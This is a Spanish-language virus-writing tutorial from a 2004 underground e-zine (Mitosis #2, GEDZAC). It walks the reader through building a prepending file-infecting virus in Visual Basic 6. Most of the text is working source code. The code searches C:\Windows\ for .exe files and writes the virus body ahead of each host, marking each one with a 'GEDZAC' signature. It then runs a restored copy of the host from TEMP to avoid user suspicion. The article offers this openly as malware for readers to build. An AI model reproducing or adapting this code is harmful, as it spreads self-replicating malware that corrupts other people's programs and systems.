(C) MITOSIS #2 E-Zine/GEDZAC 2004


Tema          : Infección de ejecutables en VB 6
Autor         : Falckon
Válido para   : Microsoft Visual Basic 6
Fecha         : 12/11/03
Nivel         : medio - avanzado (no 1337 por favor)

Para la Mitosis E-zine GEDZAC #2 y la CUM (Comunidad Underground de México)
---------------------------------------------------------------------------------
Este texto está basado en uno que hice hace unos meses, solo que lo he reescrito,
ya que el  anterior nunca lo terminé y faltaron detalles, espero que este sea más
entendible, cabe destacar que yo  no escribo artículos, así que me cuesta trabajo
realizar el siguiente, espero ser lo mas entendible posible y si no me entienden,
deberán estudiar los códigos creo que eso lo entenderán mejor, más que mi
explicación china ;-).


- Introducción:


El método que aquí voy a  exponer se  trata de infectar ejecutables por el método
prepending, para lo  cual  tu virus se le  denominaría "HLLP" (para los que no lo
sepan) esto de los términos lo expondré después, para darnos una  idea de como es
este método, e aquí un ejemplo para que lo entiendas:


[-------------]               [-------------]                         Virus
     Virus     [------------->     Host      [---------------->  [-------------]
[-------------]               [-------------]                         Host
                                                                 [-------------] 

Un virus prepending mueve los bits y  bytes  del host hacia al final posicionando
en primer lugar los bits y bytes suyos, así pues el virus toma el control de todo
el host, ejecutandose primero.

* Empezando  a programar

- Determinar la ubicación de nuestro virus

Nuestra primera tarea será determinar el lugar donde se ubica nuestro virus:

Private Function guorm()
Dim lugar As String
lugar = App.Path
If Right(lugar, 1) = "\" Then
guorm = lugar + App.EXEName + ".exe"
Else
guorm = lugar + "\" + App.EXEName + ".exe"
End If
End Function

De seguro entenderás el código, no habrá necesidad de explicarlo.


- Busqueda de archivos ejecutables

Ahora como todo buen virus nos dedicaremos a buscar ejecutables con la  siguiente
función que será  llamada desde el código del virus, la  llamaremos pasándole una
carpeta, la cual nos  devolverá una variable con  todos los ejecutables separados
por el siguiente signo:"|" (sin comillas):

Private Function buscando(carpeta As String) As String
Dim cr As String, cx As String
cr = Dir$(carpeta + "*.exe")
While cr <> ""
cx = cx & cr & "|"
cr = Dir$
Wend
buscando = cx
End Function


- Infectando ejecutables

Nuestro siguiente paso será infectar los archivos que hayamos sacado con la
función anterior, esta función la llamaremos de la siguiente forma:
Call infectando Folder, archivo
Donde Folder es la carpeta la cual anteriormente elegimos para extraer archivos,
después pondremos ahí el nombre del ejecutable.

Sub infectando(carpeta As String, exejodido)
On Error Resume Next
If carpeta <> "" And exejodido <> "" Then
Dim host As String
Dim firma As String
firma = "GEDZAC"                 '<-------------------firma del virus
Open carpeta + exejodido For Binary Access Read As #1
host = Space(LOF(1))
Get #1, , host
Close #1
If InStr(host, firma) = 0 Then
Dim virus As String
Open guorm For Binary Access Read As #2
virus = Space(24576)             '<----Tamaño en Bytes del virus, ver propiedades  
del ejecutable para sacarlo
Get #2, , virus
Close #2
Open carpeta + exejodido For Binary Access Write As #3
Put #3, , virus
Put #3, , host
Put #3, , firma
Close #3
End If
End If
End Sub

Como podemos ver se  comprobará primero  si las  variables  carpeta  y  exejodido
contienen algo, seguidamente se  establece en una variable la firma que identifi-
cará a  la especie para  no volver a  infectar un  mismo ejecutable, procedemos a
abrir el archivo  en modo  binario solo para leerlo, después comprobamos  si este
contiene la firma y  si nos da 0 procederemos a abrir el ejecutable desde el cual
nos encontramos, para eso  llamamos la función guorm, después  especificaremos el
tamaño del  virus el cual leeremos, una  vez que nos tengamos leídos procederemos
a volver a  abrir el archivo encontrado, el  cual le escribiremos primeramente la
variable  que contiene el  virus, seguido  del host y la firma, la  estructura de
nuestro nuevo ejecutable deberá quedar de esta forma:

[Virus]
[ HOST]
[FIRMA]

(si no me e explicado bien es mejor que estudies el código para comprender)


- Regenerando el host

Cabe mencionar que hasta aquí vamos bien, pero...
muchas personas piensan  que uniendo un ejecutable con otro, los dos se ejecutan,
pero esto  es falso, siempre el  que esté de  primero será ejecutado, el otro no,
así que  tenemos que buscar  la forma de pasar el control al host para así no dar
sospechas  al  usuario de  que a  ejecutado un virus (recuerdo  esto  es solo una
introducción y aquí  no manejamos API's para la  identificación de las ventanas y
así eliminar el archivo cuando es cerrado etc.)


El siguiente Sub regenerará el archivo previamente infectado, ósea
le pasa el control.


Sub regenerando(ejecutable)
Dim host2 As String
Dim virs As String
Open ejecutable For Binary Access Read As #1
virs = Space(24576)          '<- tamaño en bytes del virus, para sacarlo compilar
                             'el ejecutable y ver en propiedades
host2 = Space(LOF(1) - 24576)'<--- le restamos el tamaño del virus a todo el host
                             'para que nos quede solo el ejecutable
Get #1, , virs
Get #1, , host2
Close #1
Dim xx, fso As Object
Randomize
xx = Int(Rnd * 100000)
Set fso = CreateObject("Scripting.FileSystemObject")
Open fso.GetSpecialFolder(2) & "\" & xx & ".exe" For Binary Access Write As #2
Put #2, , host2
Close #2
Dim aa
aa = Shell(fso.GetSpecialFolder(2) & "\" & xx & ".exe")
End Sub

Lo primero que  haremos  será abrir  nuestro  exe y leer el host, randomizamos un
numero  aleatoria mente, llamamos al  objeto  FSO para  sacar el directorio TEMP,
creamos ahí un  archivo binario  nuevo y le  escribimos lo previamente leído, por
ultimo lo ejecutamos.


- Finalizando

- instrucciones imprescindibles para el correcto funcionamiento del virus

Las siguientes subs serán imprescindibles para el funcionamiento de nuestro bebé,
lo siguiente irá colocado en el sub form_load:

Dim comp As String
Open guorm For Binary Access Read As #1
comp = Space(LOF(1))
Get #1, , comp
Close #1
If InStr(comp, "GEDZAC") <> 0 Then
regenerando (guorm)
End if

comprobamos si estamos infectados, si es así llamamos al sub regenerando y
empezamos el proceso ya explicado antes.
Ahora bien esto no es todo :

Dim xd, xa, carpeti As String
carpeti = "C:\Windows\"     '<-------- carpeta donde buscaremos los archivos para  
infectar
xd = Split(buscando(carpeti), "|")
For Each xa In xd
infectando carpeti, xa
Next

después de colocar el código anterior debajo colocaremos este, el cual buscará en
una carpeta  especificada los archivos que vamos  a infectar, luego los coloca en
una  variable  dimensional (Array)  procediendo  a  realizar  un  for  each  para
extraerlas y llamar al sub que infectará nuestros exe's

y esto es todo


- Términos (para los que no estén enterados)


HLLO = Hight Level Lenguage OverWriting :
                      Virus que sobrescriben archivos para infectarlos

HLLA = Hight Level Lenguage Appending :
                      Virus que infectan archivos pegándose al final del host

HLLP = Hight Level Lenguage Prepending :
                      Virus que infectan archivos pegándose al principio del host

- Despedida

Ya se acabó, esto es una introducción, agradezco las criticas y comentarios tanto
del código como mi  forma de redactar este articulo, ya que no soy un experto :),
agradecimientos especiales para:

Alcopaul (estudié varios de tus codes y te lo agradezco :)
Taer     (Por una CUM cada día mejor)
MachineD (aprendí mucho de usted, gracias espero algún día volver a verte)
M*b3l    (a tí mas que nada que te quiero :) )
GEDZAC   (por poder estar y llevar el grupo a la cima, animo vamos a salir
          adelante!)

y a quien mas puedo agradecer? a ti, por tomarte la molestia de leer esto, espero
sea de tu agrado y si no ps ya no queda más que decir.
Hasta la próxima ya con un mejor artículo y una mejor redacción ;-) se los prometo.

(C) MITOSIS #2 E-Zine/GEDZAC 2004